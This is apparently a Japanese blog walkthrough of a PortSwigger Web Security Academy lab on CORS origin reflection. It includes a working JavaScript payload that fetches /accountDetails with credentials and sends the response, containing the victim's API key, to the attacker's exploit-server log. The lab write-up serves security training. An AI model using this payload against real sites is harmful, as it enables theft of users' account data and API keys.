academy CORS 1問目 基本的なオリジンリフレクションによるCORSの脆弱性

WEBセキュリティー

Lab: CORS vulnerability with basic origin reflection

wienerでログインし、My accountページへ。

historyを確認
GET /accountDetails

レスポンスに
Access-Control-Allow-Credentials: true
がある

GET /accountDetails をリピータに。

Origin: https://example.com
をリクエストに追加し、send

レスポンスに、
Access-Control-Allow-Origin: https://example.com
が反映している

エクスプロイトサーバーのbodyに以下を入れて、View Exploitをクリック
*YOUR-LAB-IDは書き換えください

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
    location='/log?key='+this.responseText;
};
</script>

なにをやっているかというと、
/accountDetails を叩いて、レスポンスをハッカーのサイトに記録するjavascriptです。
このhtmlをハッカーのサイトにアップして、被害者に踏ます部分をシミュレーションしてます。

サーバー側で、
Access-Control-Allow-Credentials: true CORSをサポート
なので、
クライアント側に、
req.withCredentials = true;
することで、どのドメインからもアクセスし、レスポンスを受け取れる設定になってます

ログが表示されます
/log?key=以降に、取得したAPIキーが含まれてます。

/log?key= ではじまる行がなければ、一度リロードください

次は、被害者のキーを取得します。
エクスプロイトサーバーに戻って、Deliver exploit to victimをクリック

Access logをもう一度、確認


*私の環境では、
 apikey%22:%20%22RJTHBo3xn8GkdxmdGaHaj3EXnvNtbo9U%22,

burp decoderでURLデコードして
“RJTHBo3xn8GkdxmdGaHaj3EXnvNtbo9U”

APIキーをSubmit solutionして、クリア!

–)v

コメント

タイトルとURLをコピーしました